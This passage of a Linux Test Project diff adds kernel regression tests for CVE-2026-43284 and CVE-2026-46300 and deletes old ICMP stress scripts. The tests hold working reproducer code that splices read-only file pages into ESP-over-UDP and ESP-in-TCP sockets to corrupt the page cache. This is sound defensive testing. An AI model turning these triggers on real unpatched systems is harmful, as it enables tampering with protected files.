trigger ESP decryption on received data */ + recv_fd = SAFE_SOCKET(AF_INET, SOCK_DGRAM, 0); + SAFE_SETSOCKOPT(recv_fd, IPPROTO_UDP, UDP_ENCAP, + &encap, sizeof(encap)); + SAFE_BIND(recv_fd, (struct sockaddr *)&addr, sizeof(addr)); + + send_fd = SAFE_SOCKET(AF_INET, SOCK_DGRAM, 0); + SAFE_CONNECT(send_fd, (struct sockaddr *)&addr, sizeof(addr)); + + SAFE_PIPE(pipefd); + + /* + * Build the ESP packet in the pipe: header + target file + * data + ICV. The splice for the target file places its page + * cache page directly into the pipe buffer. + */ + off = 0; + SAFE_SPLICE(atk_fd, &off, pipefd[1], NULL, + ESP_HDR_SIZE, SPLICE_F_MORE); + + off = 0; + SAFE_SPLICE(file_fd, &off, pipefd[1], NULL, + DATA_SIZE, SPLICE_F_MORE); + + off = 4096; + SAFE_SPLICE(atk_fd, &off, pipefd[1], NULL, ICV_SIZE, 0); + + /* + * Splice pipe into UDP socket. The kernel uses MSG_SPLICE_PAGES + * to keep the page cache references in the skb. On loopback + * the recv socket's ESP handler decrypts in-place, corrupting + * the page cache. May fail on patched kernels, so don't use + * SAFE_SPLICE here. + */ + splice(pipefd[0], NULL, send_fd, NULL, + ESP_HDR_SIZE + DATA_SIZE + ICV_SIZE, 0); + + SAFE_CLOSE(pipefd[0]); + SAFE_CLOSE(pipefd[1]); + SAFE_CLOSE(recv_fd); + SAFE_CLOSE(send_fd); + SAFE_CLOSE(atk_fd); +} + +static void run(void) +{ + uint8_t readback[DATA_SIZE]; + + file_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444); + SAFE_WRITE(SAFE_WRITE_ALL, file_fd, original, DATA_SIZE); + SAFE_CLOSE(file_fd); + + file_fd = SAFE_OPEN(TESTFILE, O_RDONLY); + try_corrupt(); + SAFE_CLOSE(file_fd); + + file_fd = SAFE_OPEN(TESTFILE, O_RDONLY); + SAFE_READ(1, file_fd, readback, sizeof(readback)); + SAFE_CLOSE(file_fd); + + if (memcmp(readback, original, DATA_SIZE) != 0) + tst_res(TFAIL, "Page cache was corrupted via xfrm ESP splice"); + else + tst_res(TPASS, "Page cache was not corrupted"); + + SAFE_UNLINK(TESTFILE); + SAFE_UNLINK(ATKFILE); +} + +static void cleanup(void) +{ + if (pipefd[0] != -1) + SAFE_CLOSE(pipefd[0]); + + if (pipefd[1] != -1) + SAFE_CLOSE(pipefd[1]); + + if (recv_fd != -1) + SAFE_CLOSE(recv_fd); + + if (send_fd != -1) + SAFE_CLOSE(send_fd); + + if (atk_fd != -1) + SAFE_CLOSE(atk_fd); + + if (file_fd != -1) + SAFE_CLOSE(file_fd); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS=y", + "CONFIG_NET_NS=y", + "CONFIG_XFRM", + "CONFIG_INET_ESP", + "CONFIG_CRYPTO_GCM", + NULL + }, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + {} + }, + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "ip"}, + {} + }, + .tags = (const struct tst_tag[]) { + {"linux-git", "f4c50a4034e6"}, + {"CVE", "2026-43284"}, + {} + }, +}; diff --git a/ltp/testcases/network/sockets/xfrm02.c b/ltp/testcases/network/sockets/xfrm02.c new file mode 100644 index 00000000..86110bf4 --- /dev/null +++ b/ltp/testcases/network/sockets/xfrm02.c @@ -0,0 +1,231 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com> + */ + +/*\ + * Verify that ESP-in-TCP (espintcp) does not corrupt the page cache + * when file data is spliced into a TCP socket. + * + * When file data is spliced into a TCP socket, the kernel uses + * MSG_SPLICE_PAGES to reference page cache pages directly in the skb. + * If the receiving socket has TCP_ULP "espintcp" enabled and a matching + * xfrm SA exists, the kernel's ESP handler decrypts the payload + * in-place on those page cache pages, corrupting the cached file + * contents. + * + * The test sets up an ESP-in-TCP xfrm state on IPv6 loopback, writes + * known data to a file, creates a TCP connection where the receiver + * enables espintcp ULP, splices the file data into the TCP socket as + * part of a crafted ESP-in-TCP frame, and then verifies whether the + * page cache was corrupted. + * + * Reproducer based on: + * https://github.com/v12-security/pocs/tree/main/fragnesia + */ + +#define _GNU_SOURCE + +#include "tst_test.h" +#include "tst_net.h" +#include "tst_netdevice.h" +#include "lapi/tcp.h" +#include "lapi/splice.h" + +#define TESTFILE "pagecache_test" +#define DATA_SIZE 4096 + +#define SPI 0x100 +#define TCP_PORT 5556 +#define IV_LEN 8 +#define ESP_HDR_SIZE 16 +#define AES_KEYLEN 16 +#define SALT_LEN 4 +#define KEYTOTAL (AES_KEYLEN + SALT_LEN) + +/* ESP-in-TCP frame prefix: 2-byte length + ESP header */ +#define PREFIX_SIZE (2 + ESP_HDR_SIZE) + +static const uint8_t aead_key[KEYTOTAL] = { + 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, + 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, + 0x01, 0x02, 0x03, 0x04 +}; + +static uint8_t original[DATA_SIZE]; +static int file_fd = -1; +static int srv_fd = -1; + +static void setup(void) +{ + char keyhex[KEYTOTAL * 2 + 3]; + char spihex[16]; + char port_str[8]; + int i, ret; + + tst_setup_netns(); + NETDEV_SET_STATE("lo", 1); + + keyhex[0] = '0'; + keyhex[1] = 'x'; + for (i = 0; i < KEYTOTAL; i++) + sprintf(keyhex + 2 + i * 2, "%02x", aead_key[i]); + + snprintf(spihex, sizeof(spihex), "0x%08x", SPI); + snprintf(port_str, sizeof(port_str), "%d", TCP_PORT); + + const char *const xfrm_cmd[] = { + "ip", "xfrm", "state", "add", + "src", "::1", "dst", "::1", + "proto", "esp", "spi", spihex, + "encap", "espintcp", port_str, port_str, "::", + "aead", "rfc4106(gcm(aes))", keyhex, "128", + "mode", "transport", + NULL + }; + + ret = tst_cmd(xfrm_cmd, NULL, NULL, TST_CMD_PASS_RETVAL); + if (ret) + tst_brk(TBROK, "Failed to install xfrm ESP-in-TCP state"); + + for (i = 0; i < DATA_SIZE; i++) + original[i] = (uint8_t)(i & 0xff); +} + +static void try_corrupt(void) +{ + struct sockaddr_in6 addr = { + .sin6_family = AF_INET6, + .sin6_addr = IN6ADDR_LOOPBACK_INIT, + .sin6_port = htons(TCP_PORT), + }; + uint8_t prefix[PREFIX_SIZE]; + uint16_t frame_len; + uint32_t spi_net, seq_net; + char ulp[] = "espintcp"; + int acc_fd; + loff_t off; + + frame_len = htons(PREFIX_SIZE + DATA_SIZE); + memcpy(prefix, &frame_len, 2); + + spi_net = htonl(SPI); + memcpy(prefix + 2, &spi_net, 4); + + seq_net = htonl(1); + memcpy(prefix + 6, &seq_net, 4); + + memset(prefix + 10, 0xcc, IV_LEN); + + srv_fd = SAFE_SOCKET(AF_INET6, SOCK_STREAM, 0); + SAFE_SETSOCKOPT_INT(srv_fd, SOL_SOCKET, SO_REUSEADDR, 1); + SAFE_BIND(srv_fd, (struct sockaddr *)&addr, sizeof(addr)); + SAFE_LISTEN(srv_fd, 1); + + if (!SAFE_FORK()) { + int cli_fd, pipefd[2]; + + SAFE_CLOSE(srv_fd); + + cli_fd = SAFE_SOCKET(AF_INET6, SOCK_STREAM, 0); + SAFE_SETSOCKOPT_INT(cli_fd, IPPROTO_TCP, TCP_NODELAY, 1); + SAFE_CONNECT(cli_fd, (struct sockaddr *)&addr, sizeof(addr)); + + SAFE_SEND(1, cli_fd, prefix, sizeof(prefix), 0); + SAFE_PIPE(pipefd); + + SAFE_POSIX_FADVISE(file_fd, 0, 0, POSIX_FADV_DONTNEED); + + off = 0; + SAFE_SPLICE(file_fd, &off, pipefd[1], NULL, DATA_SIZE, 0); + + /* + * Splice pipe into TCP socket. The kernel uses + * MSG_SPLICE_PAGES to keep page cache references in + * the skb. On loopback the receiver's ESP handler may + * decrypt in-place, corrupting the page cache. May + * fail on patched kernels. + */ + splice(pipefd[0], NULL, cli_fd, NULL, DATA_SIZE, 0); + + SAFE_CLOSE(pipefd[0]); + SAFE_CLOSE(pipefd[1]); + SAFE_CLOSE(cli_fd); + + exit(0); + } + + acc_fd = SAFE_ACCEPT(srv_fd, NULL, NULL); + SAFE_CLOSE(srv_fd); + + tst_reap_children(); + + SAFE_SETSOCKOPT(acc_fd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)); + + /* Let the espintcp strparser process buffered ESP data */ + usleep(30000); + + SAFE_CLOSE(acc_fd); +} + +static void run(void) +{ + uint8_t readback[DATA_SIZE]; + + file_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444); + SAFE_WRITE(SAFE_WRITE_ALL, file_fd, original, DATA_SIZE); + SAFE_CLOSE(file_fd); + + file_fd = SAFE_OPEN(TESTFILE, O_RDONLY); + try_corrupt(); + SAFE_CLOSE(file_fd); + + file_fd = SAFE_OPEN(TESTFILE, O_RDONLY); + SAFE_READ(1, file_fd, readback, sizeof(readback)); + SAFE_CLOSE(file_fd); + + if (memcmp(readback, original, DATA_SIZE) != 0) + tst_res(TFAIL, "Page cache corrupted via xfrm ESP-in-TCP splice"); + else + tst_res(TPASS, "Page cache was not corrupted"); + + SAFE_UNLINK(TESTFILE); +} + +static void cleanup(void) +{ + if (srv_fd != -1) + SAFE_CLOSE(srv_fd); + + if (file_fd != -1) + SAFE_CLOSE(file_fd); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1, + .forks_child = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS=y", + "CONFIG_NET_NS=y", + "CONFIG_XFRM", + "CONFIG_INET6_ESP", + "CONFIG_INET6_ESPINTCP", + "CONFIG_CRYPTO_GCM", + NULL + }, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + {} + }, + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "ip"}, + {} + }, + .tags = (const struct tst_tag[]) { + {"CVE", "2026-46300"}, + {} + }, +}; diff --git a/ltp/testcases/network/stress/icmp/Makefile b/ltp/testcases/network/stress/icmp/Makefile index 716f84dd..55a44997 100644 --- a/ltp/testcases/network/stress/icmp/Makefile +++ b/ltp/testcases/network/stress/icmp/Makefile @@ -8,4 +8,4 @@ include $(top_srcdir)/include/mk/env_pre.mk INSTALL_TARGETS := *.sh -include $(top_srcdir)/include/mk/generic_trunk_target.mk +include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/00_Descriptions.txt b/ltp/testcases/network/stress/icmp/multi-diffip/00_Descriptions.txt deleted file mode 100644 index 4ac83b55..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/00_Descriptions.txt +++ /dev/null @@ -1,56 +0,0 @@ -Verify that the kernel is not crashed with receiving and sending various -size of ICMP message at the different IP address(alias) simultaneously - -icmp4-multi-diffip01 - IPv4 - -icmp4-multi-diffip02 - IPv4 - IPsec [ AH / transport ] - -icmp4-multi-diffip03 - IPv4 - IPsec [ AH / tunnel ] - -icmp4-multi-diffip04 - IPv4 - IPsec [ ESP / transport ] - -icmp4-multi-diffip05 - IPv4 - IPsec [ ESP / tunnel ] - -icmp4-multi-diffip06 - IPv4 - IPcomp [ transport ] - -icmp4-multi-diffip07 - IPv4 - IPcomp [ tunnel ] - -icmp6-multi-diffip01 - IPv6 - -icmp6-multi-diffip02 - IPv6 - IPsec [ AH / transport ] - -icmp6-multi-diffip03 - IPv6 - IPsec [ AH / tunnel ] - -icmp6-multi-diffip04 - IPv6 - IPsec [ ESP / transport ] - -icmp6-multi-diffip05 - IPv6 - IPsec [ ESP / tunnel ] - -icmp6-multi-diffip06 - IPv6 - IPcomp [ transport ] - -icmp6-multi-diffip07 - IPv6 - IPcomp [ tunnel ] diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/Makefile b/ltp/testcases/network/stress/icmp/multi-diffip/Makefile deleted file mode 100644 index 5fd73aad..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/icmp/multi-diffip testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := icmp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip01 b/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip01 deleted file mode 100644 index d9877883..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip01 +++ /dev/null @@ -1,378 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp4-multi-diffip01 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different IP address(alias) with the following conditions -# - The version of IP is IPv4 -# - IPsec is not used -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-icmp4-multi-diffip01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel is not crashed with receiving and sending various size of ICMP message at the different IP address(alias) simultaneously with the following conditions" - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../.. ; pwd)`} -export LTPROOT - -# Check the environmanet variable -. check_envval || exit $TST_TOTAL - -# Dulation of the test [sec] -NS_DURATION=${NS_DURATION:-3600} # 1 hour - -# The number of IP address (alias) -IP_TOTAL_FOR_TCPIP=${IP_TOTAL_FOR_TCPIP:-100} - -# The number of the test link where tests run -LINK_NUM=${LINK_NUM:-0} - -# The version of IP -IP_VER=${IP_VER:-4} - -# true, if ipsec is used -DO_IPSEC=${DO_IPSEC:-false} - -# The value of SPI -SPI=${SPI:-1000} - -# IPsec Protocol ( ah / esp / ipcomp ) -IPSEC_PROTO=${IPSEC_PROTO:-ah} - -# IPsec Mode ( transport / tunnel ) -IPSEC_MODE=${IPSEC_MODE:-transport} - -# Array of the echo request packet size -ICMP_SIZE_ARRAY=${ICMP_SIZE_ARRAY:-"10 100 1000 10000 65507"} - - -#----------------------------------------------------------------------- -# -# Function: do_cleanup -# -# Description: -# Recover the system configuration -# -#----------------------------------------------------------------------- -do_cleanup() -{ - # Kill the icmp traffic server - killall_icmp_traffic - - # Unset SAD/SPD - output_ipsec_conf flush | setkey -c >/dev/null 2>&1 - $LTP_RSH $RHOST ${LTPROOT}/'testcases/bin/output_ipsec_conf flush | PATH=/sbin:/usr/sbin:$PATH setkey -c' >/dev/null 2>&1 - - # Clean up each interface - initialize_if lhost ${LINK_NUM} - initialize_if rhost ${LINK_NUM} -} - - -#----------------------------------------------------------------------- -# -# Setup -# - -# Unset the maximum number of processes -ulimit -u unlimited - -# Output the informaion -tst_resm TINFO "- Test duration is $NS_DURATION [sec]" -tst_resm TINFO "- Target number of the connection is $IP_TOTAL_FOR_TCPIP" -tst_resm TINFO "- Version of IP is IPv${IP_VER}" -tst_resm TINFO "- Size of packets are ( $ICMP_SIZE_ARRAY )" - -if $DO_IPSEC ; then - message=`check_setkey` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - - case $IPSEC_PROTO in - ah) - tst_resm TINFO "- IPsec [ AH / $IPSEC_MODE ]" - ;; - esp) - tst_resm TINFO "- IPsec [ ESP / $IPSEC_MODE ]" - ;; - ipcomp) - tst_resm TINFO "- IPcomp [ $IPSEC_MODE ]" - ;; - esac -fi - - -# name of interface of the local/remote host -lhost_ifname=`get_ifname lhost $LINK_NUM` -if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the local host" - exit $TST_TOTAL -fi - -rhost_ifname=`get_ifname rhost $LINK_NUM` -if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the remote host" - exit $TST_TOTAL -fi - - -# Initialize the system configuration -do_cleanup - -# Call do_cleanup function before exit -trap do_cleanup 0 - -# Loop to assign IP addresses -ipaddr_pair_num=0 -while [ $ipaddr_pair_num -lt $IP_TOTAL_FOR_TCPIP ]; do - # Add new IP addresses - x=`expr $ipaddr_pair_num \/ 255 % 255` - y=`expr $ipaddr_pair_num % 255` - if [ $x -ge 255 ]; then - tst_resm TINFO "This script cannot add more than $ipaddr_pair_num addresses" - break - fi - - case $IP_VER in - 4) - network_part="10.${x}.${y}" - network_broadcast=${network_part}.255 - network_mask=24 - lhost_addr="${network_part}.2" - rhost_addr="${network_part}.1" - - # Set IPv4 addresses to the interfaces - ip addr add ${lhost_addr}/${network_mask} broadcast $network_broadcast dev $lhost_ifname - - ### delete before setting - if [ $? -eq 2 ]; then - ip addr del ${lhost_addr}/${network_mask} broadcast $network_broadcast dev $lhost_ifname 2>&1 - ip addr add ${lhost_addr}/${network_mask} broadcast $network_broadcast dev $lhost_ifname - fi - - if [ $? -ne 0 ]; then - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local" - exit 1 - else - tst_resm TINFO "The number of IP address at the local host seems to reach the maximum. The number is $ipaddr_pair_num" - fi - break - fi - - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr add ${rhost_addr}/${network_mask} broadcast $network_broadcast dev $rhost_ifname' ; echo $?'` - - if [ $ret -eq 2 ]; then - $LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr del ${rhost_addr}/${network_mask} broadcast $network_broadcast dev $rhost_ifname - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr add ${rhost_addr}/${network_mask} broadcast $network_broadcast dev $rhost_ifname' ; echo $?'` - fi - - if [ $ret -ne 0 ]; then - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote" - exit 1 - else - tst_resm TINFO "The number of IP address at the remote host seems to reach the maximum. The number is $ipaddr_pair_num" - fi - break - fi - ;; - - 6) - hex_x=`printf %x $x` - hex_y=`printf %x $y` - - network_part="fd00:1:${hex_x}:${hex_y}" - network_mask=64 - lhost_addr="${network_part}::2" - rhost_addr="${network_part}::1" - - # Set IPv6 addresses to the interfaces - ip addr add ${lhost_addr}/${network_mask} dev $lhost_ifname - - if [ $? -eq 2 ]; then - ip addr del ${lhost_addr}/${network_mask} dev $lhost_ifname 2>&1 - ip addr add ${lhost_addr}/${network_mask} dev $lhost_ifname - fi - - if [ $? -ne 0 ]; then - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local" - exit 1 - else - tst_resm TINFO "The number of IP address at the local host seems to reach the maximum. The number is $ipaddr_pair_num" - fi - break - fi - - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr add ${rhost_addr}/${network_mask} dev $rhost_ifname' ; echo $?'` - - if [ $ret -eq 2 ]; then - $LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr del ${rhost_addr}/${network_mask} dev $rhost_ifname - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr add ${rhost_addr}/${network_mask} dev $rhost_ifname' ; echo $?'` - fi - - if [ $ret -ne 0 ]; then - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote" - exit 1 - else - tst_resm TINFO "The number of IP address at the remote host seems to reach the maximum. The number is $ipaddr_pair_num" - fi - break - fi - ;; - esac - - # Set SAD/SPD - if $DO_IPSEC ; then - ipsec_log=`mktemp -p $TMPDIR` - output_ipsec_conf src \ - $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr \ - | setkey -c 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - rm -f $ipsec_log - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any SAD/SPD" - exit 1 - else - tst_resm TINFO "The number of SAD/SPD seems to reach the maximum at the local host." - fi - break - fi - rm -f $ipsec_log - - $LTP_RSH $RHOST ${LTPROOT}/testcases/bin/output_ipsec_conf dst $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr' | PATH=/sbin:/usr/sbin:$PATH setkey -c' 2>&1 | tee $ipsec_log - if [ -s $ipsec_log ]; then - rm -f $ipsec_log - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any SAD/SPD" - exit 1 - else - tst_resm TINFO "The number of SAD/SPD seems to reach the maximum at the remote host." - fi - break - fi - rm -f $ipsec_log - fi - - # Check the connectivity - case $IP_VER in - 4) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv4_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "No IPv4 connectivity among ${ipaddr_pair_num}th IP address pair" - exit 1 - fi - ;; - - 6) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv6_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "No IPv6 connectivity among ${ipaddr_pair_num}th IP address pair" - exit 1 - fi - ;; - esac - - if [ $? -ne 0 ]; then - tst_resm TFAIL "There is no connectivity." - exit 1 - fi - - ipaddr_pair_num=`expr $ipaddr_pair_num + 1` -done - - - -#----------------------------------------------------------------------- -# -# Main -# -# - -# Start to receiving/replying ICMP echo -connection_num=0 -while [ $connection_num -lt $ipaddr_pair_num ]; do - # IP addresses - x=`expr $connection_num \/ 255 % 255` - y=`expr $connection_num % 255` - - case $IP_VER in - 4) - lhost_addr="10.${x}.${y}.2" - ;; - - 6) - hex_x=`printf %x $x` - hex_y=`printf %x $y` - lhost_addr="fd00:1:${hex_x}:${hex_y}::2" - ;; - esac - - # Run a client - $LTP_RSH $RHOST "${LTPROOT}/testcases/bin/ns-echoclient -S $lhost_addr -f $IP_VER -s \"$ICMP_SIZE_ARRAY\"" & - connection_num=`expr $connection_num + 1` -done - - -sleep $NS_DURATION -killall_icmp_traffic -wait - - -#----------------------------------------------------------------------- -# -# Clean up -# - -tst_resm TPASS "Test is finished successfully." -exit 0 diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip02 b/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip02 deleted file mode 100644 index 770c1efa..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip02 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp4-multi-diffip02 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different IP address(alias) with the following conditions -# - The version of IP is IPv4 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=icmp4-multi-diffip02 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. icmp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip03 b/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip03 deleted file mode 100644 index f45d9606..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp4-multi-diffip03 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different IP address(alias) with the following conditions -# -# - The version of IP is IPv4 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=icmp4-multi-diffip03 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. icmp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip04 b/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip04 deleted file mode 100644 index df7944d5..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip04 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp4-multi-diffip04 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different IP address(alias) with the following conditions -# - The version of IP is IPv4 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=icmp4-multi-diffip04 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. icmp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip05 b/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip05 deleted file mode 100644 index b987ef4a..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip05 +++ /dev/null @@ -1,67 +0,0 